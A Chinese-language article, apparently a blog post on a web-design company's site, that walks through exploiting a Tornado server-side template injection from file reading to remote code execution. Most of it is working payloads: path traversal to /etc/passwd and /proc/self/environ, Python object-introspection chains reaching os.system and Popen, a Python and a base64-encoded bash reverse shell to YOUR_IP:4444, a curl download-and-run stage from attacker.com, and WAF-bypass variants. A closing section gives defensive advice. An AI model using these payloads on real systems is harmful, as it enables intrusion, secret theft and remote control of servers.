ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

Tornado SSTI漏洞实战:从文件读取到RCE的完整利用链分析

Tornado SSTI漏洞实战:从文件读取到RCE的完整利用链分析

1. 项目概述:一次完整的Tornado SSTI漏洞狩猎

最近在复盘一些老项目的安全审计记录,发现一个基于Tornado框架的Web应用存在模板注入漏洞。这个案例非常典型,从最初一个不起眼的文件读取点,最终演变成一条完整的远程代码执行(RCE)利用链。整个过程就像在解一个精密的锁,每一步都需要对Tornado的模板引擎、Python沙箱环境以及系统特性有深刻的理解。今天我就把这个完整的实战过程,连同期间摸索出的几个关键绕过技巧,系统地梳理出来。无论你是正在学习SSTI漏洞的渗透测试新手,还是想加固自己Tornado应用的安全开发者,这篇文章都能给你提供从原理到实操的清晰路径。

Tornado作为一个高性能的Python Web框架,其模板系统设计初衷是安全且高效的。然而,当开发者不慎将用户输入直接嵌入模板渲染逻辑时,坚固的城墙便会出现裂缝。我们这次遇到的漏洞,起点只是一个用于“预览”用户上传文件内容的功能点,但通过精心构造的Payload,我们不仅读到了系统敏感文件,最终还在服务器上成功执行了任意命令。整个利用链涉及对{{...}}语法的深入利用、对Python对象属性的链式访问、对沙箱环境的探测与突破,以及针对WAF或简单过滤规则的多种绕过手法。下面,我们就按照实战推进的顺序,一步步拆解。

2. 漏洞环境搭建与初步探测

在开始分析利用链之前,我们首先需要理解漏洞产生的典型场景。通常,Tornado模板注入发生在render_string()render()函数被误用的情况下。例如,开发者可能写了一个动态加载“模板片段”的功能:

import tornado.web import tornado.template class PreviewHandler(tornado.web.RequestHandler): def get(self): # 危险操作:直接将用户输入的`template_name`拼接进模板字符串 template_name = self.get_argument('name', 'default.html') content = "Welcome, {{ user }}! Here is your preview: {% include \"" + template_name + "\" %}" # 或者更直接地使用render_string html = tornado.template.Template(content).generate(user="Guest") self.write(html)

上面这段代码就是漏洞的温床。攻击者可以控制template_name参数,使其不再是简单的文件名,而是一段模板语法。但实战中,入口往往更加隐蔽。我们遇到的案例是一个文件内容预览接口,它本意是读取static/docs/目录下的.md文件并渲染展示。最初的请求看起来完全无害:GET /preview?file=welcome.md

2.1 确认注入点与基础语法

第一步是确认是否存在模板注入。与常规SSTI测试类似,我们提交包含基本运算的Payload:

/preview?file={{7*7}}

如果页面返回的内容中出现了“49”而不是原始的“{{7*7}}”,那么基本可以断定存在模板注入。Tornado模板默认使用{{ ... }}进行表达式求值,使用{% ... %}执行控制语句。确认注入点后,我们需要了解当前模板上下文中有哪些可用的对象。Tornado在渲染模板时,会默认注入一些内置对象和方法,这是我们后续利用的基石。

一个常用的探测方法是尝试访问常见的内置属性,如selfhandlerrequest。例如,提交{{ handler}}可能会返回当前请求处理器的字符串表示,这能告诉我们所处的环境。更进一步的,我们可以尝试链式属性访问来探索对象树。这里有一个技巧:由于我们可能不清楚对象的具体结构,可以利用Python的__class____mro____subclasses__()等特殊方法来遍历类继承关系,从而找到我们需要的类(如ossubprocess)。

注意:在初始探测阶段,动作要轻,避免触发明显的异常或错误,以免被监控系统发现。使用简单的数学运算或字符串拼接是相对隐蔽的确认方式。

2.2 从文件读取到信息收集

在我们这个案例中,漏洞参数file原本就是用于指定读取文件的路径。这本身就构成了一个文件读取漏洞。我们可以尝试进行路径遍历,读取系统文件:

/preview?file=../../../../etc/passwd

如果应用没有正确校验路径,我们就能看到/etc/passwd的内容。这一步的目标不仅仅是读取文件,更是为后续的RCE收集关键信息:

  1. 系统用户信息:了解服务器上有哪些用户,特别是非登录用户(如www-data,nginx),这有助于判断权限。
  2. 环境变量:尝试读取/proc/self/environ(Linux)可以获取进程环境变量,其中可能包含数据库密码、API密钥等敏感信息。
  3. 应用源码:通过路径遍历读取Web应用自身的Python源码文件(如app.py,settings.py),分析是否有其他脆弱点或硬编码的凭证。
  4. 依赖列表:读取requirements.txtPipfile.lock,了解项目依赖,寻找其中已知漏洞的第三方库,或许能找到更容易利用的突破口。

文件读取是SSTI利用链中承上启下的关键一步。它风险相对较低(相较于直接执行命令),但获得的信息价值极高,能为构造RCE Payload提供至关重要的上下文。

3. 构建对象链:寻找命令执行的跳板

确认SSTI并完成初步信息收集后,下一步的核心目标是在模板引擎的沙箱环境中,找到一个能够执行系统命令的“跳板”。Tornado的模板环境并非完全隔离,它仍然运行在应用的Python解释器中,只是对某些危险操作进行了限制。我们的任务就是利用Python对象的内省能力,从一个已知的、可访问的对象出发,通过属性或方法链,一路找到诸如os.systemsubprocess.Popen这样的函数。

3.1 利用Python的内省机制

在Python中,一切皆对象,每个对象都有__class__属性指向其类,类有__mro__(方法解析顺序)属性列出其所有父类,而类本身也有__subclasses__()方法返回其所有直接子类。这是一个强大的“寻路”工具链。

通常,我们可以从模板中默认可访问的某个通用对象开始,比如一个空字符串""、一个数字0,或者通过handler.settings访问到的一些配置对象。一个经典的探测序列如下:

  1. 获取基类{{ "".__class__ }}会显示字符串的类<class 'str'>
  2. 获取基类的基类{{ "".__class__.__base__ }}通常是<class 'object'>。所有类最终都继承自object
  3. 获取object的所有子类{{ "".__class__.__base__.__subclasses__() }}。这将返回一个庞大的列表,包含了当前Python运行时中加载的所有类。

3.2 筛选有用的子类

上一步得到的子类列表可能有上百个。我们需要从中筛选出那些可能引用危险模块(如ossubprocesssys)的类。在模板中,我们可以利用Tornado模板的循环和条件判断(虽然可能受限)来搜索,但更常见的方法是在本地搭建相似环境进行离线分析,或者通过Burp Suite的Intruder模块,逐个尝试子类是否能提供我们需要的功能。

我们需要寻找的“特征类”通常是:

  • <class 'os._wrap_close'>:这是通过os模块引入的一个内部类,找到它就意味着我们拿到了os模块的引用。
  • <class 'subprocess.Popen'>:直接找到了执行命令的类。
  • 一些包含filesocketevalexec等字样的类,也可能提供读写文件或执行代码的能力。

在实战中,由于输出长度限制或过滤,直接列出所有子类可能失败。我们可以通过索引来精确访问。例如,如果知道<class 'os._wrap_close'>在列表中的索引是132,那么:

{{ "".__class__.__base__.__subclasses__()[132] }}

就能得到这个类对象。

3.3 从类对象到危险函数

找到目标类(如os._wrap_close)后,我们需要进一步获取其所在的模块(os),然后调用模块中的函数。

  1. 获取类所在的模块{{ "".__class__.__base__.__subclasses__()[132].__init__ }}查看初始化方法。
  2. 获取模块的全局上下文{{ "".__class__.__base__.__subclasses__()[132].__init__.__globals__ }}__globals__是一个字典,包含了该函数所在模块的所有全局变量。对于os._wrap_close.__init__来说,其__globals__就包含了整个os模块的全局命名空间。
  3. 提取目标函数:从__globals__字典中取出我们需要的函数,例如system
    {{ "".__class__.__base__.__subclasses__()[132].__init__.__globals__['system'] }}
    现在,我们就拿到了os.system函数对象。

这个过程就像在用一串特殊的钥匙,依次打开一道道门,最终进入存放“武器”的房间。每一步都需要对Python对象模型有清晰的认识。

4. 实现远程代码执行(RCE)

一旦我们通过对象链获取到了可以执行系统命令的函数,如os.systemsubprocess.Popen,RCE就触手可及了。但如何优雅、稳定地执行命令并获取回显,是这一步需要解决的核心问题。

4.1 命令执行与回显技巧

直接调用os.system('id')会在服务器端执行,但输出是直接打印到服务器的标准输出(可能是终端或日志文件),我们无法在HTTP响应中直接看到结果。因此,我们需要将命令执行的结果“搬运”到HTTP响应体中。有几种常见的方法:

方法一:利用subprocess.Popen和文件读取这是最可靠的方法之一。思路是执行命令并将输出重定向到一个Web应用可访问的临时文件中,然后利用之前发现的文件读取漏洞去读这个文件。

  1. 构造Payload执行命令并写入文件:
    {{ "".__class__.__base__.__subclasses__()[X].__init__.__globals__['Popen']('id > /tmp/out.txt', shell=True).wait() }}
    这里[X]需要替换为subprocess.Popen类在子类列表中的实际索引。wait()是为了等待命令执行完成。
  2. 然后,使用文件读取参数去读取输出文件:
    /preview?file=../../../../tmp/out.txt

方法二:利用os.popensubprocess.check_output如果环境中有这些函数,它们可以直接返回命令的输出。但注意,模板渲染时可能会对返回值进行字符串化处理,包含特殊字符时可能出错。

{{ "".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('id').read() }}

方法三:内联执行与回显(适用于简单命令)对于像whoamipwd这样输出简单的命令,可以尝试直接将命令执行结果赋值给一个变量,并让这个变量在模板中渲染出来。但这依赖于模板引擎对复杂表达式返回值的处理方式,不一定总是成功。

4.2 构造稳定的反向Shell

在渗透测试中,获得一个交互式的Shell往往比执行单条命令更有价值。我们可以通过RCE来下载并执行一个反向Shell的Payload。

假设我们已经可以稳定执行命令,并且服务器有curlwget工具:

  1. 在攻击机上监听一个端口:nc -lvnp 4444
  2. 通过SSTI Payload让服务器执行反向Shell命令。一个常用的Python反向Shell Payload是:
    import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
  3. 我们需要将这个Python代码通过SSTI注入并执行。由于代码较长且包含特殊字符,直接放在模板表达式中很困难。一个可行的方案是:
    • 先将代码写入服务器的一个临时文件/tmp/shell.py
    • 然后通过SSTI执行python /tmp/shell.py

对应的Payload构造会非常复杂,需要处理好引号转义和换行符。通常,我们会将Payload进行Base64编码,然后在服务器端解码并执行,这样可以避免很多特殊字符问题。

{{ "".__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC9Zb3VyX0lQLzQ0NDQgMD4mMQo=" | base64 -d | bash') }}

(上述命令中的Base64字符串解码后是一个简单的bash反向Shell命令)

实操心得:在实际利用中,网络环境可能受限(服务器无法出网),或者安全策略禁止执行bash -i。因此,务必在信息收集阶段就摸清服务器的网络连接情况、可用工具(pythonperlncphp等),并准备多种备用的反向Shell Payload。有时,一个简单的nc YOUR_IP 4444 -e /bin/sh可能因为nc版本不支持-e参数而失败,需要换成mkfifotelnet的变体。

5. 高级绕过技巧实录

在真实的网络环境中,应用层往往部署了WAF(Web应用防火墙),或者开发者自己实现了一些简单的过滤机制。我们的Payload需要巧妙地绕过这些防御。以下是我在实战中总结和验证过的几种有效绕过技巧。

5.1 字符串拼接与编码绕过

这是最基础的绕过方式,用于应对简单的关键词黑名单(如过滤了ossystemsubprocess等)。

  • 字符串拼接:将敏感关键词拆分成多个部分,在运行时拼接。

    {{ (""["__cla"+"ss__"]) }} {{ (""["__cla""ss__"]) }} {{ getattr("", "__cla"+"ss__") }}

    对于模块名和函数名同样适用:

    {{ "".__class__.__base__.__subclasses__()[132].__init__.__globals__["o"+"s"]["sy"+"stem"]("id") }}
  • 编码绕过:利用各种编码方式。

    • Base64{{ "".__class__.__base__.__subclasses__()[132].__init__.__globals__[("b3M=".decode("base64"))][("c3lzdGVt".decode("base64"))]("aWQ=".decode("base64")) }}(注意:Python 2中strdecode('base64'),Python 3需用base64.b64decode,但需先引入base64模块,可能更复杂)。
    • Hex编码{{ "".__class__.__base__.__subclasses__()[132].__init__.__globals__["\x6f\x73"]["\x73\x79\x73\x74\x65\x6d"]("id") }}
    • Rot13等简单替换:如果过滤逻辑非常初级,甚至可以用str.maketransstr.translate在模板内实现解码。

5.2 属性访问的替代语法

当点号.被过滤时,我们可以换用其他方式访问属性。

  • 使用__getattribute__方法{{ "".__getattribute__("__class__") }}
  • 使用[]下标语法:对于字典形式的__globals__,这很自然。对于对象属性,可以通过__dict__dir()结合循环来间接获取,但在单行表达式中较难实现。一个取巧的方式是利用attr过滤器(如果Tornado模板启用了它),但通常默认不启用。
  • 利用|attr过滤器(如果可用):某些Jinja2的绕过技巧在Tornado中不适用,因为Tornado模板语法不同。Tornado原生不支持|attr

5.3 利用非常规子类与内置函数

如果常见的危险子类(如os._wrap_close)的索引被WAF规则盯上,我们可以寻找其他“不起眼”的子类,它们可能通过其他路径引入危险模块。

  • 搜索__builtins____builtin__:很多类的__init__.__globals__中都包含__builtins__,它是一个模块,提供了所有内置函数,其中就包括__import__。我们可以通过__import__('os').system('id')来执行命令。关键在于找到一个能访问到__builtins__的类。

    {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__init__.__globals__.__contains__('__builtins__') %} {{ c.__init__.__globals__['__builtins__']['__import__']('os').system('id') }} {% end %} {% end %}

    (注意:上述使用了Tornado的{% for %}{% if %}语法,在允许控制语句的注入点才能使用)

  • 利用_frozen_importlib.BuiltinImporter等类:这些是Python导入系统的内部类,它们的find_moduleload_module方法有时也能被利用来加载模块。

5.4 上下文污染与全局变量覆盖

这是一种更高级的思路,不一定在所有场景下有效,但值得尝试。如果我们可以控制模板渲染时传入的某些上下文变量,并且这些变量是可变对象(如字典、列表),也许能通过修改它们来影响模板行为,甚至覆盖掉一些安全函数。但在Tornado中,模板上下文通常由处理器严格控制,这种机会较少。

5.5 分阶段与外部资源加载

当单次注入的Payload长度受限或字符过滤极其严格时,可以采用分阶段攻击。

  1. 第一阶段:注入一个极短的Payload,其功能是从攻击者控制的服务器下载一个更复杂的Python脚本到目标服务器的可写目录。
    {{ ... .__globals__['system']('curl http://attacker.com/stage2.py -o /tmp/s.py') }}
  2. 第二阶段:执行下载的脚本。
    {{ ... .__globals__['system']('python /tmp/s.py') }}
    这样,复杂的利用逻辑就放到了外部的stage2.py中,规避了WAF对长字符串或复杂语法的检测。

6. 防御建议与安全开发实践

分析了完整的攻击链,作为开发者,我们更应该思考如何从根本上杜绝此类漏洞。以下是一些针对Tornado应用的安全开发建议:

  1. 绝对不要信任用户输入:这是安全的第一原则。任何要放入模板渲染函数(Template.generate(),render_string)的字符串,都不应包含用户可控的部分。如果需要动态模板,应该使用白名单机制,只允许加载预定义的安全模板文件。

  2. 严格使用模板渲染API:Tornado的render()方法是安全的,因为它将模板文件与数据上下文分离。确保所有动态内容都通过上下文字典传递,而不是拼接进模板字符串。

    # 安全做法 self.render("template.html", username=user_input) # 在template.html中使用 {{ username }} # 危险做法 template_content = "<h1>Hello, " + user_input + "</h1>" self.write(tornado.template.Template(template_content).generate())
  3. 启用Tornado的模板沙箱(已弃用但可了解):旧版Tornado的tornado.template模块有一个sandboxed模式,可以限制模板的访问能力。但在较新版本中已被标记为弃用,因为它可能带来性能开销且并非绝对安全。不应将其作为主要防御手段。

  4. 实施输入验证与输出编码:对所有用户输入进行严格的验证和过滤。对于确实需要原样输出的内容,根据输出上下文(HTML、JS、URL)进行适当的编码。

  5. 最小权限原则:运行Tornado应用的进程(如www-data用户)应具有尽可能低的系统权限。避免使用root权限运行。这样即使发生RCE,攻击者能造成的破坏也有限。

  6. 部署WAF与监控:在应用前端部署WAF,可以拦截大量已知的攻击Payload。同时,建立完善的日志监控和告警机制,对异常的模板渲染错误、大量的路径遍历请求等行为进行实时告警。

  7. 定期安全审计与依赖更新:定期对代码进行安全审计,特别是涉及动态内容渲染的部分。同时,保持Tornado框架及其所有依赖库更新到最新版本,以修复已知的安全漏洞。

Tornado模板注入漏洞的利用,是一场关于深度和理解力的较量。攻击者需要深刻理解Python对象模型和Tornado模板引擎的细节,而防御者则需要坚守安全开发的基本准则,不给攻击者留下任何可乘之机。希望这篇从文件读取到RCE的完整利用链分析,能帮助你更好地理解其中的原理与攻防逻辑,无论是站在攻击还是防御的角度。

返回列表